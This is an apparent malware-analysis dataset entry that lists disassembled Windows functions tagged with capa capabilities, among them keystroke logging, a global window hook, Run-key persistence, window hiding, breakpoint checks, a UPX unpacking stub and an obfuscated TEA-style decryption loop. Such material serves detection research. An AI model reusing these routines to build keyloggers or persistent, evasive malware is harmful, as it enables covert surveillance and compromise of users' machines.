joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4609d4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x460a0c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4609ed
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4609fc
or bl, 4
test esi, 0x20000000
je 0x460a07
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4670b4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4670c6
add esp, 0xfffffff0
call fcn.00403c20
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041db4c
mov eax, dword [0x4a1af4]
mov dword [eax + 4], ebx
mov dword [eax], 0x467458
mov eax, dword [0x4a1b00]
mov dword [eax + 4], ebx
mov dword [eax], 0x467464
mov eax, ebx
call fcn.00467470
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x46388c
push eax
push 0
push 0
mov eax, dword [0x4a1cac]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41f610]
call fcn.00420d84
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41f610]
call fcn.00420d84
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41f610]
call fcn.00420d84
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00467890
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x46776c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x46776c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x46776c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x467203
call fcn.00403c78
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x467550
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4676fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4676dc
mov dl, 1
mov eax, dword [0x41615c]
call fcn.004038cc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040464c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4676cb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00455080
test al, al
je 0x4676be
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x46770c
lea eax, [ebp - 0x254]
call fcn.00409a64
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4676be
xor eax, eax
push ebp
push 0x4676b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x467744
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4676a0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.004048bc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4676a0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.004048bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4676be
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4675c1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00419ca8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x467702
lea eax, [ebp - 0x260]
call fcn.0040464c
ret

Function at 0x468030
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4a2be8]
cmp byte [eax + 0xa5], 0
jne 0x4680a1
cmp dword [0x4a2c00], 0
jne 0x468062
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x467fec
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4a2c00], eax
cmp dword [0x4a2bfc], 0
jne 0x46807d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4a2bfc], eax
cmp dword [0x4a2c04], 0
jne 0x4680a1
push esp
push 0
push 0
push 0x467f90
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4a2c04], eax
pop edx
ret
Function at 0x4681a8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4681bf
add esp, 0xfffffff0
call fcn.00403c20
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041db4c
mov eax, dword [0x4a1c88]
cmp word [eax + 2], 0
jne 0x4681e7
mov eax, dword [0x4a1c88]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00469898
mov eax, dword [0x4a1da0]
cmp word [eax + 2], 0
jne 0x468201
mov eax, dword [0x4a1da0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00469a90
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x415d40]
call fcn.004038cc
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4200f0]
call fcn.00427df4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x468388
mov eax, dword [0x4a1b78]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004281c4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x46a030
push 0x100
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4a1b78]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d604
test eax, eax
je 0x4682f6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409458
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d62c
test eax, eax
je 0x46830a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, 0x100
call fcn.004048bc
mov eax, dword [0x4a19d4]
cmp byte [eax], 0
jne 0x46833e
mov eax, ebx
call fcn.004684b0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0046a20c
mov eax, ebx
call fcn.0046abd0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x46837e
call fcn.00403c78
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x468730
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4a2be8]
cmp dword [eax + 0x30], 0
je 0x4687da
cmp dword [ebx + 0x94], 0
jne 0x4687d4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4686c0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4687d4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x46879a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4687d4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004180a8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4687a9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x46933c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x469371
push 0x100
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040473c
jmp 0x46937e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004046a0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x46a3e8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46a429
mov eax, esi
call fcn.00450604
test al, al
je 0x46a429
mov eax, dword [ebx + 0x84]
call fcn.00450300
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46a429
push 0
mov eax, dword [ebx + 0x84]
call fcn.00450300
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x46daf0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x46db1e
mov eax, ebx
call fcn.0046e5a4
cmp dword [ebx + 0x40], 0
je 0x46db17
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x46db8f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x46db81
cmp dword [ebx + 8], 0
je 0x46db40
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46db52
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46db81
cmp dword [ebx + 8], 0
je 0x46db33
cmp eax, 3
je 0x46db65
dec eax
jne 0x46db33
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46db33
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x46db33
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x46dbad
cmp dword [ebx + 0x14], 0xcc
je 0x46dbad
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046dbb8
pop ebx
ret
Function at 0x481338
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x48143b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x433d20]
call fcn.00433dcc
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48141e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4813eb
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 4]
call fcn.00433e6c
mov cl, 1
mov edx, 0x481454
mov eax, dword [ebp - 4]
call fcn.00433ed0
test al, al
je 0x4813e1
test bl, bl
je 0x4813cc
mov edx, dword [0x4a1be4]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x48148c
call fcn.00404958
mov ecx, dword [ebp - 8]
mov edx, 0x4814a4
mov eax, dword [ebp - 4]
call fcn.00434014
jmp 0x4813d9
mov edx, 0x4814a4
mov eax, dword [ebp - 4]
call fcn.00433ff4
mov eax, dword [ebp - 4]
call fcn.00433e3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x481408
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x481425
mov eax, dword [ebp - 4]
call fcn.004038fc
ret
Function at 0x4865cc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48682c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x48662f
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00486094
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040d1f0
cmp al, 1
jne 0x48662f
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004863ac
test al, al
je 0x4867bb
cmp dword [ebp - 8], 0
jge 0x48664d
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00486094
mov eax, dword [ebp - 0x210]
call fcn.0040490c
cmp ebx, eax
jge 0x486697
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00486094
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x4a1f4c]
and eax, 0xff
bt dword [edx], eax
jae 0x486697
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4866ab
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004865a8
cmp ebx, dword [ebp - 8]
je 0x4867ad
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, 0x100
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4866d7
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403af8
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a19a0]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x48679a
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403af8
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a19a0]
push eax
push 0x100
mov eax, dword [ebp - 4]
call fcn.00450300
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403af8
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a19a0]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00450300
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4867a1
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x48680e
cmp dword [ebp - 8], 0
jge 0x4867c6
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00486094
mov eax, dword [ebp - 0x218]
call fcn.0040490c
cmp eax, dword [ebp - 8]
jg 0x486800
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00486094
mov eax, dword [ebp - 0x21c]
call fcn.0040490c
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004865a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486833
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404670
ret
Function at 0x492cb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
add esp, 0xffffff98
mov ebx, edx
push 0x64
lea edx, [esp + 4]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
mov edx, esp
mov ecx, 0x65
call fcn.004048bc
add esp, 0x68
pop ebx
ret
Function at 0x5acd30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10d000]
push edi
jmp 0x5acd4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5acd51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5acd40
mov eax, 1
add ebx, ebx
jne 0x5acd63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5acd74
jne 0x5acd93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5acd93
dec eax
add ebx, ebx
jne 0x5acd80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5acd58
add ebx, ebx
jne 0x5acd8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5acde5
xor ecx, ecx
sub eax, 3
jb 0x5acdab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5ace1a
sar eax, 1
mov ebp, eax
jmp 0x5acdb6
add ebx, ebx
jne 0x5acdb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5acd84
inc ecx
add ebx, ebx
jne 0x5acdc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5acd84
add ebx, ebx
jne 0x5acdd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5acdc6
jne 0x5acde2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5acdc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5ace04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5acdf6
jmp 0x5acd46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5ace04
add edi, ecx
jmp 0x5acd46
pop esi
mov edi, esi
mov ecx, 0x904a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5ace22
cmp byte [edi], 0x19
jne 0x5ace22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5ace27
lea edi, [esi + 0x1a8000]
mov eax, dword [edi]
or eax, eax
je 0x5ace9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1b5c20]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1b5dc4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5ace54
mov ecx, edi
jns 0x5ace83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1b5dc8]
or eax, eax
je 0x5ace99
mov dword [ebx], eax
add ebx, 4
jmp 0x5ace71
call dword [esi + 0x1b5dd8]
mov ebp, dword [esi + 0x1b5dcc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5aced3
sub esp, 0xffffff80
jmp 0x500293
Function at 0x409010
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x82c
cmp dword [0x4e0364], 0x13f7
mov eax, dword [esp + 0x830]
push ebx
push ebp
mov ebp, dword [esp + 0x83c]
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebp]
mov ebx, 0xc6ef3720
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x2c], eax
jne 0x409063
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x4e0364], 0x60b
mov ecx, dword [ebp + 4]
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x20], eax
jne 0x4090b1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov ebp, 0x20
mov ecx, dword [esp + 0x28]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], eax
call fcn.00408fc0
lea eax, [ebx + edi]
mov dword [esp + 0x14], eax
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x4e0364], 0x1b
mov dword [esp + 0x10], eax
mov dword [0x4c37c4], 0xffcf03fc
jne 0x40911f
push 0
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0x401370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x14]
mov dword [0x4c37c4], 0
xor eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x4c37c4], eax
sub esi, dword [esp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x18]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
mov edx, esi
shr edx, 5
mov dword [0x4c37c8], 0xc5e121b4
mov dword [0x4c37cc], 0xffffffff
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x24]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x2c]
add ebx, 0x61c88647
xor eax, dword [esp + 0x10]
mov dword [esp + 0x1c], ebx
xor eax, dword [esp + 0x14]
sub edi, eax
sub ebp, 1
jne 0x4090b6
mov eax, dword [esp + 0x840]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x82c
ret 8
Function at 0x4091c0
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xb4c
push esi
xor esi, esi
cmp dword [0x4e0364], 0x516
jne 0x409215
push esi
lea eax, [esp + 0x354]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameA
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor ecx, ecx
xor edx, edx
mov word [esp + 6], dx
lea eax, [esp + 8]
push eax
mov word [esp + 8], cx
mov ecx, dword [esp + 8]
push ecx
push esi
lea edx, [esp + 0x75c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xb58]
shr eax, 3
cmp eax, esi
jbe 0x409352
mov ecx, dword [esp + 0xb54]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_QueryDepthSList]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x409250
cmp dword [0x4e0364], 0x29
jne 0x409298
xor eax, eax
lea edx, [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
push edx
lea eax, [esp + 0x44]
push eax
push esi
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea ecx, [esp + 0x3c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
cmp dword [0x4e0364], 0xe1b
jne 0x4092b7
lea edx, [esp + 0x5c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4e0364], 0x1c
jne 0x409300
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call edi
push esi
push esi
push esi
lea ecx, [esp + 0x68]
push ecx
call ebx
lea edx, [esp + 0x248]
push edx
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0xb68]
mov edx, dword [esp + 0x10]
push ecx
push edx
call fcn.00409010
cmp dword [0x4e0364], 0x4fa
jne 0x40933f
xor eax, eax
xor ecx, ecx
lea edx, [esp + 0x38]
push edx
mov word [esp + 0x1c], ax
mov word [esp + 0x1e], cx
mov eax, dword [esp + 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x409250
pop edi
pop ebp
pop ebx
pop esi
add esp, 0xb4c
ret 0xc